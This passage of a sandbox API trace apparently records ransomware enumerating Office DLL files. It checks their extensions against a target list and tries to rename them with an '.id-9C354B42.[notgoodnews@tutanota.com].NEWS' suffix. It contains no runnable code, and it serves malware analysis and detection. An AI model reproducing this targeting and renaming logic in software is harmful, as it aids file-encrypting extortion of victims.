dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.825] lstrlenW (lpString=".doc") returned 4 [0217.825] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.825] lstrlenW (lpString=".docx") returned 5 [0217.825] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0217.825] lstrlenW (lpString=".pdf") returned 4 [0217.825] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.825] lstrlenW (lpString=".xls") returned 4 [0217.825] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.825] lstrlenW (lpString=".xlsx") returned 5 [0217.825] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0217.825] lstrlenW (lpString=".ppt") returned 4 [0217.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.827] lstrlenW (lpString=".zip") returned 4 [0217.827] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.827] lstrlenW (lpString=".rar") returned 4 [0217.827] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.827] lstrlenW (lpString=".bz2") returned 4 [0217.827] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.827] lstrlenW (lpString=".7z") returned 3 [0217.828] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.828] lstrlenW (lpString=".dbf") returned 4 [0217.828] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.828] lstrlenW (lpString=".1cd") returned 4 [0217.828] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.828] lstrlenW (lpString=".jpg") returned 4 [0217.828] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.829] lstrlenW (lpString=".doc") returned 4 [0217.829] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.829] lstrlenW (lpString=".docx") returned 5 [0217.829] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0217.829] lstrlenW (lpString=".pdf") returned 4 [0217.829] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.829] lstrlenW (lpString=".xls") returned 4 [0217.829] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.830] lstrlenW (lpString=".xlsx") returned 5 [0217.830] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0217.831] lstrlenW (lpString=".ppt") returned 4 [0217.831] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.831] lstrlenW (lpString=".zip") returned 4 [0217.831] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.831] lstrlenW (lpString=".rar") returned 4 [0217.831] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.831] lstrlenW (lpString=".bz2") returned 4 [0217.831] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.831] lstrlenW (lpString=".7z") returned 3 [0217.831] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.832] lstrlenW (lpString=".dbf") returned 4 [0217.832] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.832] lstrlenW (lpString=".1cd") returned 4 [0217.832] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0217.833] lstrlenW (lpString=".jpg") returned 4 [0217.833] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.833] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0217.833] lstrlenW (lpString="MSOXEV.DLL") returned 10 [0217.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0218.832] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=56144) returned 1 [0218.832] CloseHandle (hObject=0x338) returned 1 [0218.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0218.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.843] lstrlenW (lpString=".doc") returned 4 [0218.843] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.843] lstrlenW (lpString=".docx") returned 5 [0218.843] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0218.843] lstrlenW (lpString=".pdf") returned 4 [0218.843] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.843] lstrlenW (lpString=".xls") returned 4 [0218.843] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.843] lstrlenW (lpString=".xlsx") returned 5 [0218.843] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0218.844] lstrlenW (lpString=".ppt") returned 4 [0218.844] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.844] lstrlenW (lpString=".zip") returned 4 [0218.844] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.844] lstrlenW (lpString=".rar") returned 4 [0218.844] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.844] lstrlenW (lpString=".bz2") returned 4 [0218.844] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.844] lstrlenW (lpString=".7z") returned 3 [0218.844] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.845] lstrlenW (lpString=".dbf") returned 4 [0218.845] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.845] lstrlenW (lpString=".1cd") returned 4 [0218.845] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.845] lstrlenW (lpString=".jpg") returned 4 [0218.845] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.845] lstrlenW (lpString=".doc") returned 4 [0218.846] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.846] lstrlenW (lpString=".docx") returned 5 [0218.846] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0218.846] lstrlenW (lpString=".pdf") returned 4 [0218.846] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.846] lstrlenW (lpString=".xls") returned 4 [0218.846] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.846] lstrlenW (lpString=".xlsx") returned 5 [0218.846] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0218.846] lstrlenW (lpString=".ppt") returned 4 [0218.847] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.847] lstrlenW (lpString=".zip") returned 4 [0218.847] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.847] lstrlenW (lpString=".rar") returned 4 [0218.847] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.847] lstrlenW (lpString=".bz2") returned 4 [0218.847] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.847] lstrlenW (lpString=".7z") returned 3 [0218.847] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.848] lstrlenW (lpString=".dbf") returned 4 [0218.848] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.848] lstrlenW (lpString=".1cd") returned 4 [0218.848] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0218.848] lstrlenW (lpString=".jpg") returned 4 [0218.848] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.849] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0218.850] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0218.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.904] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=30056) returned 1 [0218.905] CloseHandle (hObject=0x388) returned 1 [0218.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0218.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.906] lstrlenW (lpString=".doc") returned 4 [0218.906] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.906] lstrlenW (lpString=".docx") returned 5 [0218.906] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0218.907] lstrlenW (lpString=".pdf") returned 4 [0218.910] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.910] lstrlenW (lpString=".xls") returned 4 [0218.910] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.911] lstrlenW (lpString=".xlsx") returned 5 [0218.911] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0218.911] lstrlenW (lpString=".ppt") returned 4 [0218.911] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.911] lstrlenW (lpString=".zip") returned 4 [0218.911] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.911] lstrlenW (lpString=".rar") returned 4 [0218.911] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.911] lstrlenW (lpString=".bz2") returned 4 [0218.911] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.912] lstrlenW (lpString=".7z") returned 3 [0218.912] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.912] lstrlenW (lpString=".dbf") returned 4 [0218.912] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.912] lstrlenW (lpString=".1cd") returned 4 [0218.912] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.912] lstrlenW (lpString=".jpg") returned 4 [0218.912] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.913] lstrlenW (lpString=".doc") returned 4 [0218.913] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.913] lstrlenW (lpString=".docx") returned 5 [0218.913] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0218.913] lstrlenW (lpString=".pdf") returned 4 [0218.913] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.914] lstrlenW (lpString=".xls") returned 4 [0218.914] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.914] lstrlenW (lpString=".xlsx") returned 5 [0218.914] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0218.914] lstrlenW (lpString=".ppt") returned 4 [0218.914] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.914] lstrlenW (lpString=".zip") returned 4 [0218.914] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.914] lstrlenW (lpString=".rar") returned 4 [0218.915] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.915] lstrlenW (lpString=".bz2") returned 4 [0218.915] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.915] lstrlenW (lpString=".7z") returned 3 [0218.915] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.915] lstrlenW (lpString=".dbf") returned 4 [0218.915] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.915] lstrlenW (lpString=".1cd") returned 4 [0218.915] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0218.916] lstrlenW (lpString=".jpg") returned 4 [0218.916] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.917] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0218.918] lstrlenW (lpString="OSETUP.DLL") returned 10 [0218.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.925] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=7379816) returned 1 [0218.925] CloseHandle (hObject=0x388) returned 1 [0218.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0219.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.029] lstrlenW (lpString=".doc") returned 4 [0219.029] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.029] lstrlenW (lpString=".docx") returned 5 [0219.029] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0219.029] lstrlenW (lpString=".pdf") returned 4 [0219.029] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.029] lstrlenW (lpString=".xls") returned 4 [0219.029] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.030] lstrlenW (lpString=".xlsx") returned 5 [0219.030] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0219.030] lstrlenW (lpString=".ppt") returned 4 [0219.030] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.031] lstrlenW (lpString=".zip") returned 4 [0219.031] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.031] lstrlenW (lpString=".rar") returned 4 [0219.031] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.031] lstrlenW (lpString=".bz2") returned 4 [0219.031] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.031] lstrlenW (lpString=".7z") returned 3 [0219.031] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.032] lstrlenW (lpString=".dbf") returned 4 [0219.032] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.032] lstrlenW (lpString=".1cd") returned 4 [0219.032] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.032] lstrlenW (lpString=".jpg") returned 4 [0219.032] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.033] lstrlenW (lpString=".doc") returned 4 [0219.033] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.033] lstrlenW (lpString=".docx") returned 5 [0219.033] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0219.033] lstrlenW (lpString=".pdf") returned 4 [0219.033] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.033] lstrlenW (lpString=".xls") returned 4 [0219.033] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.033] lstrlenW (lpString=".xlsx") returned 5 [0219.034] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0219.034] lstrlenW (lpString=".ppt") returned 4 [0219.034] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.034] lstrlenW (lpString=".zip") returned 4 [0219.034] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.034] lstrlenW (lpString=".rar") returned 4 [0219.034] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.034] lstrlenW (lpString=".bz2") returned 4 [0219.034] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.035] lstrlenW (lpString=".7z") returned 3 [0219.035] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.035] lstrlenW (lpString=".dbf") returned 4 [0219.035] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.035] lstrlenW (lpString=".1cd") returned 4 [0219.035] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0219.035] lstrlenW (lpString=".jpg") returned 4 [0219.035] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.036] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.036] lstrlenW (lpString="SERCONV.DLL") returned 11 [0219.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0219.706] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=591736) returned 1 [0219.706] CloseHandle (hObject=0x384) returned 1 [0219.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0219.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.837] lstrlenW (lpString=".doc") returned 4 [0219.837] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.837] lstrlenW (lpString=".docx") returned 5 [0219.837] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0219.837] lstrlenW (lpString=".pdf") returned 4 [0219.837] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.837] lstrlenW (lpString=".xls") returned 4 [0219.837] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.837] lstrlenW (lpString=".xlsx") returned 5 [0219.837] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0219.837] lstrlenW (lpString=".ppt") returned 4 [0219.838] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.838] lstrlenW (lpString=".zip") returned 4 [0219.838] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.838] lstrlenW (lpString=".rar") returned 4 [0219.838] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.838] lstrlenW (lpString=".bz2") returned 4 [0219.838] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.838] lstrlenW (lpString=".7z") returned 3 [0219.838] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.838] lstrlenW (lpString=".dbf") returned 4 [0219.838] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.839] lstrlenW (lpString=".1cd") returned 4 [0219.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0219.839] lstrlenW (lpString=".jpg") returned 4 [0219.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 